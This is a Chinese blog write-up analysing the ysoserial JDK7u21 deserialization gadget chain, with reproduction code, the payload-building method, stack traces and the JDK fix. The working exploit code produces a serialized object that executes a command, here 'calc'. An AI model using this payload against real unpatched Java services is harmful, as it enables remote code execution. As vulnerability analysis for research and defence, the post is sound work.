Ysoserial JDK7u21

Share on:

0^anything=anything

环境

jdk7u21 ysoserial idea

复现

image.png

 1package ysoserial.mytest;
 2
 3import ysoserial.payloads.Jdk7u21;
 4
 5import java.io.ByteArrayInputStream;
 6import java.io.ByteArrayOutputStream;
 7import java.io.ObjectInputStream;
 8import java.io.ObjectOutputStream;
 9
10public class JDK7u21 {
11    public static void main(String[] args) {
12        try {
13            Object calc = new Jdk7u21().getObject("calc");
14
15            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
16
17            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
18            objectOutputStream.writeObject(calc);//序列化对象
19            objectOutputStream.flush();
20            objectOutputStream.close();
21
22            byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
23
24            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
25
26            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
27            Object o = objectInputStream.readObject();
28        } catch (Exception e) {
29            e.printStackTrace();
30        }
31    }
32}

分析

首先简单两行代码rce

1TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
2object.getOutputProperties();

image.png

createTemplatesImpl 是使用 javassist 动态的添加的恶意 java 代码,初始化时自动执行,之前的文章中说过,getOutputProperties()中调用newTransformer() image.png

调用了getTransletInstance() image.png

getTransletInstance()中将恶意字节码加载进来并且new实例,在实例化时rce。 image.png

现在的问题就是如何反序列化自动调用getOutputProperties,把yso的payload抠出来

 1    public Object getObject(final String command) throws Exception {
 2        final Object templates = Gadgets.createTemplatesImpl(command);
 3
 4        String zeroHashCodeStr = "f5a5a608";
 5
 6        HashMap map = new HashMap();
 7        map.put(zeroHashCodeStr, "foo");
 8
 9        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
10        Reflections.setFieldValue(tempHandler, "type", Templates.class);
11        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
12
13        LinkedHashSet set = new LinkedHashSet(); // maintain order
14        set.add(templates);
15        set.add(proxy);
16
17        Reflections.setFieldValue(templates, "_auxClasses", null);
18        Reflections.setFieldValue(templates, "_class", null);
19
20        map.put(zeroHashCodeStr, templates); // swap in real object
21        return set;
22    }

map先是存了一个f5a5a608=foo,然后f5a5a608值改为TemplatesImpl恶意对象

set对象存放了TemplatesImpl恶意对象和Templates的动态代理对象

image.png

LinkedHashSet继承HashSet,其readObject在HashSet中 image.png

在该readObjcet中会将反序列化的对象put()放入map中(HashSet本质是HashMap),先添加templates再添加proxy。在put()第二次添加proxy的时候,map中已经有了一个TemplatesImpl image.png 所以会拿上一个Entry的key做比较,当key对象相等时新值替换旧值,返回旧值。

1e.hash == hash && ((k = e.key) == key || key.equals(k))

问题就出在key.equals(k),但是要想进入equals方法需要满足前面的几个短路条件

  1. e.hash == hash 为真
  2. (k = e.key) == key 为假

e.hash是在生成payload的时候set.add(proxy)计算的,贴一下堆栈

1hashCodeImpl:293, AnnotationInvocationHandler (sun.reflect.annotation)
2invoke:64, AnnotationInvocationHandler (sun.reflect.annotation)
3hashCode:-1, $Proxy0 (com.sun.proxy)
4hash:351, HashMap (java.util)
5put:471, HashMap (java.util)
6add:217, HashSet (java.util)
7getObject:84, Jdk7u21 (ysoserial.payloads)
8rce:21, JDK7u21 (ysoserial.mytest)
9main:16, JDK7u21 (ysoserial.mytest)

在java.util.HashMap#put添加键值的时候会计算对象hash,走了一个hash(key)函数 image.png

而key此时是proxy动态代理对象,要调用它的hashCode()函数需要走动态代理的invoke接口,当调用方法名为hashCode时,会进入hashCodeImpl() image.png

 1    private int hashCodeImpl() {
 2        int var1 = 0;
 3
 4        Entry var3;
 5        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
 6            var3 = (Entry)var2.next();
 7        }
 8
 9        return var1;
10    }

这个方法遍历memberValues这个map对象,然后做了

1v += 127 * (key).hashCode() ^ memberValueHashCode(value);

memberValueHashCode()直接返回var0.hashCode(),也就是直接返回原本对象的hashcode,但是还要走一次亦或,所以要让127 * (key).hashCode()=0,而key为f5a5a608,他的hashcode刚好为0,到这里不得不惊叹作者的巧妙。

拓展: 空字符串和\u0000的hashCode都为0

image.png

e.hash==hash其实就是拿proxy代理的@javax.xml.transform.Templates(f5a5a608=foo)对象的hash和之前计算的自身hash做比较,结果当然为true。

(k = e.key) == key拿proxy对象和Templates比较肯定为false。

走到key.equals(k)这一步,也就是proxy.equals(templates)。同理调用proxy的equals函数需要通过invoke接口走 image.png

然后 image.png

getMemberMethods()取出两个无参方法 image.png

在这调用了getOutputProperties(),回到上文的rce流程就串起来了。

修复

1    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
2        Class[] var3 = var1.getInterfaces();
3        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
4            this.type = var1;
5            this.memberValues = var2;
6        } else {
7            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
8        }
9    }

对于this.type进行了校验必须为Annotation.class

参考

  1. https://mp.weixin.qq.com/s/qlg3IzyIc79GABSSUyt-OQ
  2. https://b1ue.cn/archives/176.html
  3. https://xz.aliyun.com/t/6884
  4. https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。